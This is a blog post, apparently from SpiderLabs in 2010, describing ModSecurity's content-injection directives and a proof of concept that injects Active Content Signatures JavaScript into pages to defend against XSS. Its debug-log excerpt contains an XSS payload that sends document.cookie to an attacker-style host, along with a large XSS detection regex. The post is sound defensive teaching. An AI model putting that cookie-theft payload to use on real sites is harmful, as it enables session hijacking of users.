SpiderLabs Blog

Advanced Topic of the Week: XSS Defense via Content Injection

Written by | Sep 28, 2010 9:30:00 AM

Introduction

In last week's post on Identifying Improper Output Handling, we showed a method to use ModSecurity to identify if client request data is echoed back in html responses thus identifying a potential XSS vector. While this can prove useful to a large chunk of XSS flaws, it is not foolproof as there are many scenarios where the inbound data is altered slightly by the application and thus turns a benign payload into something executable (see the Giorgio Maone's Lost in Translation post for a perfect example with ASP classic). In this situation, the example rules to identify improper output handling wouldn't have matched...

There is a lot a WAF can do with outbound traffic to help protect web applications from information leakages. There has not been as much progress made, however, in analyzing, manipulating or adding data to outbound dynamic code being sent from the web application to the clients. This is the concept that I want to discuss today.

 Concept

Previous versions of ModSecurity did not alter any of the actual transactional data (either inbound or outbound). ModSecurity would make copies of the data, place it into memory and then apply all data transformations, etc... and it would then decide what disruptive action to take if there was a rule match on the data. While this process works well in defense of the vast majority of web application security issues, there are still certain situations where it is limited.

Client-side security issues are difficult to address in this architecture since the WAF has no visibility on the client (inside the DOM of the browser). With the new Content Injection capabilities in ModSecurity, we have added two actions which will allow ModSecurity rule writers to either "prepend" or "append" any text data to text-based (html) outbound data content.

The really useful idea is to inject a JavaScript fragment at the top of all outgoing HTML pages. The advantage of using ModSecurity's Content Injection approach is that you can be assured that your code runs prior to any other user-supplied code that is leveraging an XSS flaw. For example you could detect JavaScript code in places where it is not expected, look for weird HTML/JavaScript code indicative of attacks, remove external links, and so on. While full support for DOM manipulation on the server is not available yet, ModSecurity does support content injection, where you can inject stuff at the beginning or at the end of the page. The original idea behind this this feature was to make DOM XSS detection possible within the client browser. The idea is to inject a chunk of JavaScript to analyse the request URI from inside the browser to detect attacks.

Some other use-case ideas for Injecting code by using a WAF:

  • Ensure complex, dynamic behaviour independent of the application, including obfuscation & polymorphism.

  • Continues updates and potentially even an "in the cloud" service.

  • Provide protection for non-HTML pages by wrapping them in HTML (redirect, refresh, frames).

You could also use it to help secure session management:

  • Avoid the evasion options of Cookies & HTTP authentication (Amit Klein, "Path Insecurity")

  • Perform implicit authentication to use to prevent session hijacking.

  • One time tokens "super" digest authentication.

Intercept JavaScript Events to perform:

  • Client side input validation (Amit Klein, "DOM Based Cross Site Scripting or XSS of the Third Kind").

  • DOM Hardening and Anomaly Detection.

  • Rules/Signature based negative security.

 Content Injection Directives and Variable Usage

Description: Enables content injection using actions append and prepend.

Syntax: SecContentInjection (On|Off)

Example Usage: SecContentInjection On

Version: 2.5.0

Description: Appends text given as parameter to the end of response body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the content type of the response before you make changes to it (e.g. you don't want to inject stuff into images).

Action Group: Non-Disruptive

Processing Phases: 3 and 4.

Example:

SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,append:'<hr>Footer'"

Description: Prepends text given as parameter to the response body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the content type of the response before you make changes to it (e.g. you don't want to inject stuff into images).

Action Group: Non-Disruptive

Processing Phases: 3 and 4.

Example:

SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,prepend:'Header<br>'"

 Testing Injection Rules

Let's run a quick test with the following ruleset:

SecContentInjection On
SecDefaultAction "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1"
SecRule TX:ALERT "@eq 1" "phase:3,nolog,pass,chain,prepend:'<script>alert(\"Why Are You Trying To Hack My Site?\")</script>'"
SecRule RESPONSE_CONTENT_TYPE "^text/html"

This rule set enables the Content Injection capabilities an then sets a default action. The important point to see on the SecDefaultAction line is the "setvar:tx.alert=1" action. What this will do is set a transactional variable if any of the rules trigger a match. The last two lines of the configuration are a chained rule set that runs in phase:3. The first part of the chain will simply look for the "alert" tx variable. If it is set, that means that the client's request has triggered one of the ModSecurity rules and is thus some form of attack. The second part of the rule then makes sure that the response data is of the correct content type (text/html). If so, this rule will then insert some javascript that will issue an alert pop-up box asking them why they are trying to hack the web site :)

Let's take a look at the modsec_debug.log file to see exactly how this new operator is functioning:

# cat modsec_debug.log | sed "s/^.*\[.\] //g" |less
Initialising transaction (txid CP2J2cCoD4QAAF2eAj8AAAAA).
Adding request argument (QUERY_STRING): name "param", value "<script>document.write('<img src=\"http:// 192.168.15.135:8000/' document.cookie '\"')</script>"
Transaction context created (dcfg 95da848).
--CUT--
Starting phase REQUEST_BODY.
This phase consists of 85 rule(s).
Recipe: Invoking rule 9654a98; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "15"] [id "1"].
Rule 9654a98: SecRule "ARGS" "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)|applic ation\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)\\ b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t |(?:un)?load|dragdrop|resize|focus|blur)\\b\\W*?=|abort\\b)|(?:l(?:owsrc\\b\\W*?\\b(?:(?:java|vb)script |shell)|ivescript)|(?:href|url)\\b\\W*?\\b(?:(?:java|vb)script|shell)|background-image|mocha):|s(?:(?:t yle\\b\\W*=.*\\bexpression\\b\\W*|ettimeout\\b\\W*?)\\(|rc\\b\\W*?\\b(?:(?:java|vb)script|shell|http):) |a(?:ctivexobject\\b|lert\\b\\W*?\\())|<(?:(?:body\\b.*?\\b(?:backgroun|onloa)d|input\\b.*?\\btype\\b\\ W*?\\bimage|script|meta)\\b|!\\[cdata\\[)|(?:\\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|inner html)|\\@import)\\b)" "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,log,auditlog,msg:'Cr oss-site Scripting (XSS) Attack. Matched signature <%{TX.0}>',id:'1',severity:'2'"
Expanded "ARGS" to "ARGS:param".
CACHE: Enabled
CACHE: Fetching ARGS:param 1;htmlEntityDecode
CACHE: Caching 1;htmlEntityDecode="<script>document.write('<img src="http://192.168.15.135:8000/' docum ent.cookie '"')</script>"
T (0) htmlEntityDecode: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</script>"
CACHE: Fetching ARGS:param 2;htmlEntityDecode,lowercase
CACHE: Caching 2;htmlEntityDecode,lowercase="<script>document.write('<img src="http://192.168.15.135:80 00/' document.cookie '"')</script>"
T (0) lowercase: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</ script>"
Executing operator "rx" with param "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)| application\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)fol der)\\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec| ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)\\b\\W*?=|abort\\b)|(?:l(?:owsrc\\b\\W*?\\b(?:(?:java|vb) script|shell)|ivescript)|(?:href|url)\\b\\W*?\\b(?:(?:java|vb)script|shell)|background-image|mocha):|s( ?:(?:tyle\\b\\W*=.*\\bexpression\\b\\W*|ettimeout\\b\\W*?)\\(|rc\\b\\W*?\\b(?:(?:java|vb)script|shell|h ttp):)|a(?:ctivexobject\\b|lert\\b\\W*?\\())|<(?:(?:body\\b.*?\\b(?:backgroun|onloa)d|input\\b.*?\\btyp e\\b\\W*?\\bimage|script|meta)\\b|!\\[cdata\\[)|(?:\\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e |innerhtml)|\\@import)\\b)" against ARGS:param.
Target value: "<script>document.write('<img src="http://192.168.15.135:8000/' document.cookie '"')</scr ipt>"
Added regex subexpression to TX.0: <script
Operator completed in 805 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Ctl: Set auditLogParts to ABIEFHZE.
Rule returned 1.
Match, intercepted -> returning.
Resolved macro %{TX.0} to "<script"
Access denied with code 500 (phase 2). Pattern match "(?:\b(?:(?:type\b\W*?\b(?:text\b\W*?\b(?:j(?:ava) ?|ecma|vb)|application\b\W*?\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|pa rent)folder)\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick) .. ." at ARGS:param. [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf"] [line "15"] [id "1"] [msg "Cross-site Scripting (XSS) Attack. Matched signature <<script>"] [severity "CRITICAL"]
Time #2: 14304
Hook insert_error_filter: Adding output filter (r 9747ca0).
Output filter: Receiving output (f 9749ac8, r 9747ca0).
Starting phase RESPONSE_HEADERS.
This phase consists of 1 rule(s).
Recipe: Invoking rule 9653e90; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "6"].
Rule 9653e90: SecRule "TX:ALERT" "@eq 1" "phase:3,log,pass,chain,prepend:'<script>alert(\"Why Are You T rying To Hack My Site?\")</script>'"
Expanded "TX:ALERT" to "TX:alert".
CACHE: Disabled - TX:alert value length=1, smaller than minlen=15
Executing operator "eq" with param "1" against TX:alert.
Target value: "1"
Operator completed in 711 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule 9654380; [file "/usr/local/apache/conf/rules/modsecurity_crs_15_customrules.conf" ] [line "7"].
Rule 9654380: SecRule "RESPONSE_CONTENT_TYPE" "^text/html"
CACHE: Enabled
Executing operator "rx" with param "^text/html" against RESPONSE_CONTENT_TYPE.
Target value: "text/html; charset=iso-8859-1"
Operator completed in 13 usec.
Setting variable: tx.alert=1
Set variable "tx.alert" to "1".
Warning. Pattern match "^text/html" at RESPONSE_CONTENT_TYPE. [file "/usr/local/apache/conf/rules/modse curity_crs_15_customrules.conf"] [line "6"]
Rule returned 1.
Match -> mode NEXT_RULE.
Content Injection: Removing headers (C-L, L-M, Etag, Expires).
Output filter: Bucket type HEAP contains 535 bytes.
Output filter: Bucket type EOS contains 0 bytes.
Output filter: Completed receiving response body (buffered full - 535 bytes).

--CUT--

 XSS Defense Use-Case Example: Active Content Signatures (ACS)

Now that we have a mechanism for adding Javascript to outbound responses, which will allow us access into the browser environment, the next question is: what data do we add? After some independent research, including the OWASP Encoding Project and Google-Caja's html_sanitizer.js I decided to reach out to some fellow web security folks (Mario Heiderich and Stefano Di Paola) who lead me to Eduardo Vela'sActive Content Signatures (ACS) Project. Bingo! This is the intro section from Eduardo's ACS PDF:

One of the main challenges in secure web application development is how to mix user supplied content and the server content. This, in its most basic form has created one ofthe most common vulnerabilities now a days that affect most if not all websites in the web, the so called Cross Site Scripting (XSS).

A good solution would be a technology capable of limiting the scope of XSS attacks, by a way to tell the browser what trusted code is, and what is not. This idea has been out for ages, but it has always required some sort of browser native support. ACS (Active Content Signature) comes to solve this problem, by creating a JavaScript code that will work in all browsers, without the need to install anything, and that will completely remove from the DOM any type of dangerous code.


I will start by demonstrating how ACS solves XSS issues, without the need ofthe server to do any type of parsing or filtering, and without endangering the user. ACS will be appended at the beginning of the webpage's HTML code. As a simple external JavaScriptcode, something like:


<html><head><script type="text/javascript" src="/acs.js">/*signaturehere*/<plaintext/></script>

When this script is loaded, it will automatically stop the parsing of the rest ofthe HTML page. It will, then recreate the DOM itself, taking out dangerous snippets of code (like event handlers,or scripts), making the browser display it's content's without any danger. Now, if the user wants to make exceptions so their own scripts are loaded,they can do so, ina very simple way... adding a signature.

After discussing my goals with Eduardo and working through some tests, we came up with a working proof of concept integration using ModSecurity's Content Injection capabilities to prepend the ACS JS code to the top of selected web pages. The advantage of this approach is that you don't have to alter the html source of any of your pages, as ModSecurity will prepend this data for you on the fly.

Here is what you need to test out this concept:

  • Download the ACS JS file from Eduardo's site and place it in your site's DocumentRoot as clients will need to access this file when our injected JS executes.
  • Download the localized ACS file from the ModSecurity site and place it within your DocumentRoot as well as the clients will also need to access this file. This is the file that creates the temporary DOM, validates/allows the authorized JS to run on your site and then recreates the DOM. You will need to update the "default-src" regular expression to allow JS to run from authorized domains (such as Google Analytics, 3rd party sites, etc...)
  • Add the following ModSecurity directives/rules to your ModSecurity configuration:
SecContentInjection On
SecRule RESPONSE_CONTENT_TYPE "^text/html" "phase:4,t:none,nolog,prepend:'<html><head><script type=\"text/javascript\" src=\"/acs.js\"></script><script type=\"text/javascript\" src=\"/xss.js\"></script>'"

In order to help facilitate community testing of this proof of concept, we have created an online demo. We encourage the community to help test this implementation to help identify any evasions or bugs. You can toggle on/off the XSS Defense to ensure that your payload executes and then continue testing with the defense in place.

Current Limitations

  • The current implementation of ACS does not allow for inline scripts, so web pages would need to be re-written to reference external src files.
  • There are still browser quirks that cause parsing errors in the new DOM rendered by ACS (surprise, surprise in IE...)
  • The blacklist tags in the ACS code still need to be expanded

Conclusion

We hope that this concept helps to provide a layered defense for XSS issues and to show yet another advanced feature of ModSecurity!